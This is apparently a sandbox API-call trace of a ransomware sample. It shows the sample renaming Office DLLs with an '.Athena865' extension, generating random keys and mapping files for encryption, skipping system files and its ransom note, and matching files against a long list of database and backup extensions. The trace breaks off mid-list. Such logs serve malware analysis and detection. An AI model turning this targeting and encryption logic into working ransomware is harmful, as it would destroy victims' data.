[0069.835] lstrcmpiW (lpString1="EDITORS.DLL", lpString2=".ini") returned 1 [0069.835] lstrlenW (lpString=".sys") returned 4 [0069.835] lstrcmpiW (lpString1="EDITORS.DLL", lpString2=".sys") returned 1 [0069.835] lstrlenW (lpString="EDITORS.DLL") returned 11 [0069.835] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\EDITORS.DLL.Athena865") returned 64 [0069.835] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITORS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\editors.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITORS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\editors.dll.athena865"), dwFlags=0x1) returned 1 [0069.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EDITORS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\editors.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0069.836] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=44424) returned 1 [0069.836] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0069.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0069.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0069.837] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0069.837] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0069.837] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.838] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb090, lpName=0x0) returned 0x154 [0069.839] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb090) returned 0x100000 [0069.842] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0069.842] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0069.842] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0069.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0069.843] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0069.843] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0069.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.843] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0069.843] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0069.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0069.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0069.843] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0069.844] CloseHandle (hObject=0x154) returned 1 [0069.844] CloseHandle (hObject=0x17c) returned 1 [0069.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0069.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0069.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0069.844] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2fdc440, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3f988, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ELEMENTS.DLL", cAlternateFileName="")) returned 1 [0069.844] lstrcmpiW (lpString1="ELEMENTS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0069.844] lstrcmpiW (lpString1="ELEMENTS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0069.845] lstrcmpiW (lpString1="ELEMENTS.DLL", lpString2=".") returned 1 [0069.845] lstrcmpiW (lpString1="ELEMENTS.DLL", lpString2="..") returned 1 [0069.845] lstrcmpiW (lpString1="ELEMENTS.DLL", lpString2="windows") returned -1 [0069.845] lstrcmpiW (lpString1="ELEMENTS.DLL", lpString2="bootmgr") returned 1 [0069.845] lstrcmpiW (lpString1="ELEMENTS.DLL", lpString2="temp") returned -1 [0069.845] lstrcmpiW (lpString1="ELEMENTS.DLL", lpString2="pagefile.sys") returned -1 [0069.845] lstrcmpiW (lpString1="ELEMENTS.DLL", lpString2="boot") returned 1 [0069.845] lstrcmpiW (lpString1="ELEMENTS.DLL", lpString2="ids.txt") returned -1 [0069.845] lstrcmpiW (lpString1="ELEMENTS.DLL", lpString2="ntuser.dat") returned -1 [0069.845] lstrcmpiW (lpString1="ELEMENTS.DLL", lpString2="perflogs") returned -1 [0069.845] lstrcmpiW (lpString1="ELEMENTS.DLL", lpString2="MSBuild") returned -1 [0069.845] lstrlenW (lpString="ELEMENTS.DLL") returned 12 [0069.845] lstrcpyW (in: lpString1=0x241e89e, lpString2="ELEMENTS.DLL" | out: lpString1="ELEMENTS.DLL") returned="ELEMENTS.DLL" [0069.845] lstrlenW (lpString="ELEMENTS.DLL") returned 12 [0069.845] lstrlenW (lpString="Athena865") returned 9 [0069.845] lstrcmpiW (lpString1="MENTS.DLL", lpString2="Athena865") returned 1 [0069.845] lstrlenW (lpString=".dll") returned 4 [0069.845] lstrcmpiW (lpString1="ELEMENTS.DLL", lpString2=".dll") returned 1 [0069.845] lstrlenW (lpString=".lnk") returned 4 [0069.845] lstrcmpiW (lpString1="ELEMENTS.DLL", lpString2=".lnk") returned 1 [0069.845] lstrlenW (lpString=".ini") returned 4 [0069.846] lstrcmpiW (lpString1="ELEMENTS.DLL", lpString2=".ini") returned 1 [0069.846] lstrlenW (lpString=".sys") returned 4 [0069.846] lstrcmpiW (lpString1="ELEMENTS.DLL", lpString2=".sys") returned 1 [0069.846] lstrlenW (lpString="ELEMENTS.DLL") returned 12 [0069.846] lstrlenW (lpString="bak") returned 3 [0069.846] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0069.846] lstrlenW (lpString="ba_") returned 3 [0069.846] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0069.846] lstrlenW (lpString="dbb") returned 3 [0069.846] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0069.846] lstrlenW (lpString="vmdk") returned 4 [0069.846] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0069.846] lstrlenW (lpString="rar") returned 3 [0069.846] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0069.846] lstrlenW (lpString="zip") returned 3 [0069.846] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0069.846] lstrlenW (lpString="tgz") returned 3 [0069.846] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0069.846] lstrlenW (lpString="vbox") returned 4 [0069.846] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0069.847] lstrlenW (lpString="vdi") returned 3 [0069.847] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0069.847] lstrlenW (lpString="vhd") returned 3 [0069.847] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0069.847] lstrlenW (lpString="vhdx") returned 4 [0069.847] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0069.847] lstrlenW (lpString="avhd") returned 4 [0069.847] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0069.847] lstrlenW (lpString="db") returned 2 [0069.847] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0069.847] lstrlenW (lpString="db2") returned 3 [0069.847] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0069.847] lstrlenW (lpString="db3") returned 3 [0069.847] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0069.847] lstrlenW (lpString="dbf") returned 3 [0069.847] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0069.847] lstrlenW (lpString="mdf") returned 3 [0069.847] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0069.847] lstrlenW (lpString="mdb") returned 3 [0069.847] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0069.847] lstrlenW (lpString="sql") returned 3 [0069.847] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0069.847] lstrlenW (lpString="sqlite") returned 6 [0069.847] lstrcmpiW (lpString1="TS.DLL", lpString2="sqlite") returned 1 [0069.847] lstrlenW (lpString="sqlite3") returned 7 [0069.847] lstrcmpiW (lpString1="NTS.DLL", lpString2="sqlite3") returned -1 [0069.847] lstrlenW (lpString="sqlitedb") returned 8 [0069.847] lstrcmpiW (lpString1="ENTS.DLL", lpString2="sqlitedb") returned -1 [0069.847] lstrlenW (lpString="xml") returned 3 [0069.847] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0069.847] lstrlenW (lpString="$er") returned 3 [0069.847] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0069.848] lstrlenW (lpString="4dd") returned 3 [0069.848] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0069.848] lstrlenW (lpString="4dl") returned 3 [0069.848] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0069.848] lstrlenW (lpString="^^^") returned 3 [0069.848] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0069.848] lstrlenW (lpString="abs") returned 3 [0069.848] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0069.848] lstrlenW (lpString="abx") returned 3 [0069.848] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0069.848] lstrlenW (lpString="accdb") returned 5 [0069.848] lstrcmpiW (lpString1="S.DLL", lpString2="accdb") returned 1 [0069.848] lstrlenW (lpString="accdc") returned 5 [0069.848] lstrcmpiW (lpString1="S.DLL", lpString2="accdc") returned 1 [0069.848] lstrlenW (lpString="accde") returned 5 [0069.848] lstrcmpiW (lpString1="S.DLL", lpString2="accde") returned 1 [0069.848] lstrlenW (lpString="accdr") returned 5 [0069.848] lstrcmpiW (lpString1="S.DLL", lpString2="accdr") returned 1 [0069.848] lstrlenW (lpString="accdt") returned 5 [0069.848] lstrcmpiW (lpString1="S.DLL", lpString2="accdt") returned 1 [0069.848] lstrlenW (lpString="accdw") returned 5 [0069.848] lstrcmpiW (lpString1="S.DLL", lpString2="accdw") returned 1 [0069.848] lstrlenW (lpString="accft") returned 5 [0069.848] lstrcmpiW (lpString1="S.DLL", lpString2="accft") returned 1 [0069.848] lstrlenW (lpString="adb") returned 3 [0069.848] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0069.848] lstrlenW (lpString="adb") returned 3 [0069.848] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0069.848] lstrlenW (lpString="ade") returned 3 [0069.848] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0069.849] lstrlenW (lpString="adf") returned 3 [0069.849] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0069.849] lstrlenW (lpString="adn") returned 3 [0069.849] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0069.849] lstrlenW (lpString="adp") returned 3 [0069.849] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0069.849] lstrlenW (lpString="alf") returned 3 [0069.849] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0069.849] lstrlenW (lpString="ask") returned 3 [0069.849] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0069.849] lstrlenW (lpString="btr") returned 3 [0069.849] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0069.849] lstrlenW (lpString="cat") returned 3 [0069.849] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0069.849] lstrlenW (lpString="cdb") returned 3 [0069.849] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0069.849] lstrlenW (lpString="ckp") returned 3 [0069.849] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0069.849] lstrlenW (lpString="cma") returned 3 [0069.849] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0069.849] lstrlenW (lpString="cpd") returned 3 [0069.849] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0069.849] lstrlenW (lpString="dacpac") returned 6 [0069.849] lstrcmpiW (lpString1="TS.DLL", lpString2="dacpac") returned 1 [0069.849] lstrlenW (lpString="dad") returned 3 [0069.849] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0069.849] lstrlenW (lpString="dadiagrams") returned 10 [0069.849] lstrcmpiW (lpString1="EMENTS.DLL", lpString2="dadiagrams") returned 1 [0069.849] lstrlenW (lpString="daschema") returned 8 [0069.849] lstrcmpiW (lpString1="ENTS.DLL", lpString2="daschema") returned 1 [0069.849] lstrlenW (lpString="db-journal") returned 10 [0069.850] lstrcmpiW (lpString1="EMENTS.DLL", lpString2="db-journal") returned 1 [0069.850] lstrlenW (lpString="db-shm") returned 6 [0069.850] lstrcmpiW (lpString1="TS.DLL", lpString2="db-shm") returned 1 [0069.850] lstrlenW (lpString="db-wal") returned 6 [0069.850] lstrcmpiW (lpString1="TS.DLL", lpString2="db-wal") returned 1 [0069.850] lstrlenW (lpString="dbc") returned 3 [0069.850] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0069.850] lstrlenW (lpString="dbs") returned 3 [0069.850] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0069.850] lstrlenW (lpString="dbt") returned 3 [0069.850] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0069.850] lstrlenW (lpString="dbv") returned 3 [0069.850] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0069.850] lstrlenW (lpString="dbx") returned 3 [0069.850] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0069.850] lstrlenW (lpString="dcb") returned 3 [0069.850] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0069.850] lstrlenW (lpString="dct") returned 3 [0069.850] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0069.850] lstrlenW (lpString="dcx") returned 3 [0069.850] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0069.850] lstrlenW (lpString="ddl") returned 3 [0069.850] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0069.850] lstrlenW (lpString="dlis") returned 4 [0069.850] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0069.850] lstrlenW (lpString="dp1") returned 3 [0069.850] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0069.850] lstrlenW (lpString="dqy") returned 3 [0069.850] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0069.850] lstrlenW (lpString="dsk") returned 3 [0069.850] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0069.851] lstrlenW (lpString="dsn") returned 3 [0069.851] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0069.851] lstrlenW (lpString="dtsx") returned 4 [0069.851] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0069.851] lstrlenW (lpString="dxl") returned 3 [0069.851] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0069.851] lstrlenW (lpString="eco") returned 3 [0069.851] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0069.851] lstrlenW (lpString="ecx") returned 3 [0069.851] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0069.851] lstrlenW (lpString="edb") returned 3 [0069.851] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0069.851] lstrlenW (lpString="epim") returned 4 [0069.851] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0069.851] lstrlenW (lpString="fcd") returned 3 [0069.851] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0069.851] lstrlenW (lpString="fdb") returned 3 [0069.851] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0069.851] lstrlenW (lpString="fic") returned 3 [0069.851] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0069.851] lstrlenW (lpString="flexolibrary") returned 12 [0069.851] lstrlenW (lpString="fm5") returned 3 [0069.851] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0069.851] lstrlenW (lpString="fmp") returned 3 [0069.851] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0069.851] lstrlenW (lpString="fmp12") returned 5 [0069.851] lstrcmpiW (lpString1="S.DLL", lpString2="fmp12") returned 1 [0069.851] lstrlenW (lpString="fmpsl") returned 5 [0069.851] lstrcmpiW (lpString1="S.DLL", lpString2="fmpsl") returned 1 [0069.851] lstrlenW (lpString="fol") returned 3 [0069.851] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0069.852] lstrlenW (lpString="fp3") returned 3 [0069.852] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0069.852] lstrlenW (lpString="fp4") returned 3 [0069.852] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0069.852] lstrlenW (lpString="fp5") returned 3 [0069.852] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0069.852] lstrlenW (lpString="fp7") returned 3 [0069.852] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0069.852] lstrlenW (lpString="fpt") returned 3 [0069.852] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0069.852] lstrlenW (lpString="frm") returned 3 [0069.852] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0069.852] lstrlenW (lpString="gdb") returned 3 [0069.852] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0069.852] lstrlenW (lpString="gdb") returned 3 [0069.852] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0069.852] lstrlenW (lpString="grdb") returned 4 [0069.852] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0069.852] lstrlenW (lpString="gwi") returned 3 [0069.852] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0069.852] lstrlenW (lpString="hdb") returned 3 [0069.852] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0069.852] lstrlenW (lpString="his") returned 3 [0069.852] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0069.852] lstrlenW (lpString="ib") returned 2 [0069.852] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0069.852] lstrlenW (lpString="idb") returned 3 [0069.852] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0069.852] lstrlenW (lpString="ihx") returned 3 [0069.852] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0069.852] lstrlenW (lpString="itdb") returned 4 [0069.853] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0069.853] lstrlenW (lpString="itw") returned 3 [0069.853] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0069.853] lstrlenW (lpString="jet") returned 3 [0069.853] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0069.853] lstrlenW (lpString="jtx") returned 3 [0069.853] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0069.853] lstrlenW (lpString="kdb") returned 3 [0069.853] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0069.853] lstrlenW (lpString="kexi") returned 4 [0069.853] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0069.853] lstrlenW (lpString="kexic") returned 5 [0069.853] lstrcmpiW (lpString1="S.DLL", lpString2="kexic") returned 1 [0069.853] lstrlenW (lpString="kexis") returned 5 [0069.853] lstrcmpiW (lpString1="S.DLL", lpString2="kexis") returned 1 [0069.853] lstrlenW (lpString="lgc") returned 3 [0069.853] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0069.853] lstrlenW (lpString="lwx") returned 3 [0069.853] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0069.853] lstrlenW (lpString="maf") returned 3 [0069.853] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0069.853] lstrlenW (lpString="maq") returned 3 [0069.853] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0069.853] lstrlenW (lpString="mar") returned 3 [0069.853] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0069.853] lstrlenW (lpString="marshal") returned 7 [0069.853] lstrcmpiW (lpString1="NTS.DLL", lpString2="marshal") returned 1 [0069.853] lstrlenW (lpString="mas") returned 3 [0069.853] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0069.853] lstrlenW (lpString="mav") returned 3 [0069.853] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0069.853] lstrlenW (lpString="maw") returned 3 [0069.854] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0069.854] lstrlenW (lpString="mdbhtml") returned 7 [0069.854] lstrcmpiW (lpString1="NTS.DLL", lpString2="mdbhtml") returned 1 [0069.854] lstrlenW (lpString="mdn") returned 3 [0069.854] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0069.854] lstrlenW (lpString="mdt") returned 3 [0069.854] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0069.854] lstrlenW (lpString="mfd") returned 3 [0069.854] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0069.854] lstrlenW (lpString="mpd") returned 3 [0069.854] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0069.854] lstrlenW (lpString="mrg") returned 3 [0069.854] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0069.854] lstrlenW (lpString="mud") returned 3 [0069.854] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0069.854] lstrlenW (lpString="mwb") returned 3 [0069.854] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0069.854] lstrlenW (lpString="myd") returned 3 [0069.854] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0069.854] lstrlenW (lpString="ndf") returned 3 [0069.854] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0069.854] lstrlenW (lpString="nnt") returned 3 [0069.854] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0069.854] lstrlenW (lpString="nrmlib") returned 6 [0069.854] lstrcmpiW (lpString1="TS.DLL", lpString2="nrmlib") returned 1 [0069.854] lstrlenW (lpString="ns2") returned 3 [0069.854] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0069.854] lstrlenW (lpString="ns3") returned 3 [0069.854] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0069.854] lstrlenW (lpString="ns4") returned 3 [0069.854] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0069.855] lstrlenW (lpString="nsf") returned 3 [0069.855] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0069.855] lstrlenW (lpString="nv") returned 2 [0069.855] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0069.855] lstrlenW (lpString="nv2") returned 3 [0069.855] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0069.855] lstrlenW (lpString="nwdb") returned 4 [0069.855] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0069.855] lstrlenW (lpString="nyf") returned 3 [0069.855] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0069.855] lstrlenW (lpString="odb") returned 3 [0069.855] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0069.855] lstrlenW (lpString="odb") returned 3 [0069.855] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0069.855] lstrlenW (lpString="oqy") returned 3 [0069.855] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0069.855] lstrlenW (lpString="ora") returned 3 [0069.855] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0069.855] lstrlenW (lpString="orx") returned 3 [0069.855] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0069.855] lstrlenW (lpString="owc") returned 3 [0069.855] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0069.855] lstrlenW (lpString="p96") returned 3 [0069.855] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0069.855] lstrlenW (lpString="p97") returned 3 [0069.855] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0069.855] lstrlenW (lpString="pan") returned 3 [0069.855] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0069.855] lstrlenW (lpString="pdb") returned 3 [0069.855] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0069.855] lstrlenW (lpString="pdm") returned 3 [0069.856] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0069.856] lstrlenW (lpString="pnz") returned 3 [0069.856] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0069.856] lstrlenW (lpString="qry") returned 3 [0069.856] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0069.856] lstrlenW (lpString="qvd") returned 3 [0069.856] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0069.856] lstrlenW (lpString="rbf") returned 3 [0069.856] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0069.856] lstrlenW (lpString="rctd") returned 4 [0069.856] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0069.856] lstrlenW (lpString="rod") returned 3 [0069.856] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0069.856] lstrlenW (lpString="rodx") returned 4 [0069.856] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0069.856] lstrlenW (lpString="rpd") returned 3 [0069.856] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0069.856] lstrlenW (lpString="rsd") returned 3 [0069.856] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0069.856] lstrlenW (lpString="sas7bdat") returned 8 [0069.856] lstrcmpiW (lpString1="ENTS.DLL", lpString2="sas7bdat") returned -1 [0069.856] lstrlenW (lpString="sbf") returned 3 [0069.856] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0069.856] lstrlenW (lpString="scx") returned 3 [0069.856] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0069.856] lstrlenW (lpString="sdb") returned 3 [0069.856] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0069.856] lstrlenW (lpString="sdc") returned 3 [0069.856] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0069.856] lstrlenW (lpString="sdf") returned 3 [0069.857] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0069.857] lstrlenW (lpString="sis") returned 3 [0069.857] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0069.857] lstrlenW (lpString="spq") returned 3 [0069.857] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0069.857] lstrlenW (lpString="te") returned 2 [0069.857] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0069.857] lstrlenW (lpString="teacher") returned 7 [0069.857] lstrcmpiW (lpString1="NTS.DLL", lpString2="teacher") returned -1 [0069.857] lstrlenW (lpString="tmd") returned 3 [0069.857] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0069.857] lstrlenW (lpString="tps") returned 3 [0069.857] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0069.857] lstrlenW (lpString="trc") returned 3 [0069.857] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0069.857] lstrlenW (lpString="trc") returned 3 [0069.857] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0069.857] lstrlenW (lpString="trm") returned 3 [0069.857] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0069.857] lstrlenW (lpString="udb") returned 3 [0069.857] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0069.857] lstrlenW (lpString="udl") returned 3 